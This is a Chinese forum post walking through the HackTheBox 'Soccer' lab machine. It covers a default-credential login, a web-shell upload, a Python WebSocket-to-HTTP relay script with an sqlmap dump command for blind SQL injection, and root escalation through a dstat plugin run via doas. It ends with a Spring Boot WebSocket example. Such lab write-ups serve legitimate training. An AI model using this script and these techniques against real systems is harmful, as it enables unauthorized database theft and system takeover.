瑞星 发表于 2022-12-31 02:21:23

hackthebox-Soccer

靶机地址
10.10.11.194
user权限

https://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212291411120.png
发现存在80端口嘛然后访问一下
然后发现转到域名为
https://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212292057326.png
本地绑定一下IP和域名
https://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212292057135.png
这里因为是htb的靶场就不扫子域名了直接爆目录
https://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212292055711.png
扫到一个目录上去看看,然后发现是个登录框
https://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212292055819.png
h3k,Tiny File Manager这些都是一些关键字然后再源代码里面看了看没有找到什么东西只能求助万能的百度了
h3k没什么东西最后找到了Tiny File Manager这个东西在git上面是开源的
项目地址:https://github.com/prasathmani/tinyfilemanager
https://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212292055648.png
是一个php文件管理的cms有源码的也有管理员默认账号密码尝试登录一下,然后成功的进来了
https://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212292055833.png
然后发现文件上传功能,找了个路径点
https://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212292055611.png
上传了文件并且拿到了shell
https://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212292055779.png
然后这台主机是linux的主机尝试用nc去获取交互shell
https://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212292055377.png
拿到shell
上传某个脚本进行一下信息收集
https://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212292055144.png
中间发现很多提权脚本
https://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212292055301.png
随后在Nginx模块发现了一个子域名
https://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212292055300.png
子域名是一个soc-player.soccer.htb
https://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212292055408.png
随后注册账户进来
https://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212292055727.png
这段英文的意思是要检查们的票据,然后我们抓包尝试一下
抓出来发现就是一个纯纯的ID
https://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212292056828.png
这种json格式的数据
当我发送给repeaeter的时候burp自动帮我识别了这是一个WebSockets,我测了半天我不会了,sockets这个协议的漏洞我都没有怎么碰到过,然后去看了wp
这里是一个WebSockets的sql注入
https://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212292056139.png
根据代码分析我们需要传入的msg是id
这里有一篇关于sockets的sql注入的文章
https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html
用它结合着sqlmap进行测试
根据这篇文章修改我们的参数
https://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212292056674.png
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091/"

def send_ws(payload):
      ws = create_connection(ws_server)
      # If the server returns a response on connect, use below line
      #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here

      # For our case, format the payload in JSON
      message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
      data = '{"id":"%s"}' % message

      ws.send(data)
      resp = ws.recv()
      ws.close()

      if resp:
                return resp
      else:
                return ''

def middleware_server(host_port,content_type="text/plain"):

      class CustomHandler(SimpleHTTPRequestHandler):
                def do_GET(self) -> None:
                        self.send_response(200)
                        try:
                              payload = urlparse(self.path).query.split('=',1)
                        except IndexError:
                              payload = False

                        if payload:
                              content = send_ws(payload)
                        else:
                              content = 'No parameters specified!'

                        self.send_header("Content-type", content_type)
                        self.end_headers()
                        self.wfile.write(content.encode())
                        return

      class _TCPServer(TCPServer):
                allow_reuse_address = True

      httpd = _TCPServer(host_port, CustomHandler)
      httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
      middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
      pass然后使用sqlmap去跑参数
sqlmap -u http://localhost:8081/?id=1 --dump-all --exclude-sysdbs
--dump-all:查找并转储找到的所有数据库
--exclude-sysdbs:不会在默认数据库上浪费时间https://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212292056183.png
用findshell连上去以后拿下user权限
https://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212292056038.png
root权限

后面的就更是我的知识盲区了,是在刚刚的信息收集的时候发现的一些东西有一个叫做doas
https://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212292056913.png
这是那些地软件有suid权限
https://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212292056842.png
什么意思呢就是说我们可以用这个东西来执行sudo指令,我们只需要用这个创建一个shell我们就可以相当于执行了一个 sudo bin/bash
我们先找一下这个软件在哪
通过查看dstat程序的官方文档,发现我们可以编写插件并执行,名称必须为dstat_*.py,插件存放的目录为/usr/local/share/dstat/
找到之后创建一个插件
cd /usr/local/share/dstat/
touch dstat_baimao.py
chmod 777 dstat_baimao.pyhttps://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212292056192.png
https://picgo-bad.oss-cn-hangzhou.aliyuncs.com/image/202212292056229.png
已经提升到root权限了我自己都还没注意到存到
小结一下


[*]WebSockets是个什么东西还有什么其他可以利用的点,自己用java去实现一遍
[*]sock的sql注入的脚本需要自己去学习一下其中的原理是怎么构成的。
WebSockets

WebSockets 是一种先进的技术。它可以在用户的浏览器和服务器之间打开交互式通信会话。使用此 API,您可以向服务器发送消息并接收事件驱动的响应,而无需通过轮询服务器的方式以获得响应。
简单的自己实现Sockets
还是用springboot去开发
配置类
mport org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.socket.server.standard.ServerEndpointExporter;

@Configuration
public class WebSocketConfig {
    /**
   *         注入ServerEndpointExporter,
   *         这个bean会自动注册使用了@ServerEndpoint注解声明的Websocket endpoint
   */
    @Bean
    public ServerEndpointExporter serverEndpointExporter() {
      return new ServerEndpointExporter();
    }
   
}处理类
@ServerEndpoint("/myWs")
@Component
public class WsServerEndpoint {
    /**
   * 连接成功
   * @param session
   */
    @OnOpen
    public void onOpen(Session session) {
      System.out.println("连接成功");
    }

    /**
   * 连接关闭
   * @param session
   */
    @OnClose
    public void onClose(Session session) {
      System.out.println("连接关闭");
    }

    /**
   * 接收到消息
   * @param text
   */
    @OnMessage
    public String onMsg(String text) throws IOException {
      return "servet 发送:" + text;
    }
}这几个注解分别对应着我们常用的三件套连接时候,断开时候,消息处理
@ServerEndpoint

[*]通过这个 spring boot 就可以知道你暴露出去的 ws 应用的路径,有点类似我们经常用的@RequestMapping。比如你的启动端口是8080,而这个注解的值是ws,那我们就可以通过 ws://127.0.0.1:8080/ws 来连接你的应用。
@OnOpen

[*]当 websocket 建立连接成功后会触发这个注解修饰的方法。
@OnClose

[*]当 websocket 建立的连接断开后会触发这个注解修饰的方法。
@OnMessage

[*]当客户端发送消息到服务端时,会触发这个注解修改的方法,它有一个 String 入参表明客户端传入的值。
@OnError

[*]当 websocket 建立连接时出现异常会触发这个注解修饰的方法。
所以出现漏洞的点在于@OnMessage这个注解的方法这里做处理的时候和数据库进行交互的sql语句造成的注入
小脚本

我去大致的浏览了一下里面会收集的内容记住一些我觉得比较有意思的点
Executing Linux Exploit Suggester
这个会建议我们尝试一些提权操作
Searching uncommon passwd files
这个会有一些可以访问的passwd是一些密码文件
Possible private SSH keys were found!
ssh的key,
Some certificates were found (out limited)
一些证书文件,其实里面有很多有意思的东西,实战中肯定是先去尝试那些提权脚本当你提权不了的时候才开始尝试其他
的信息然后再收集信息去看其他提权方式

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页: [1]
查看完整版本: hackthebox-Soccer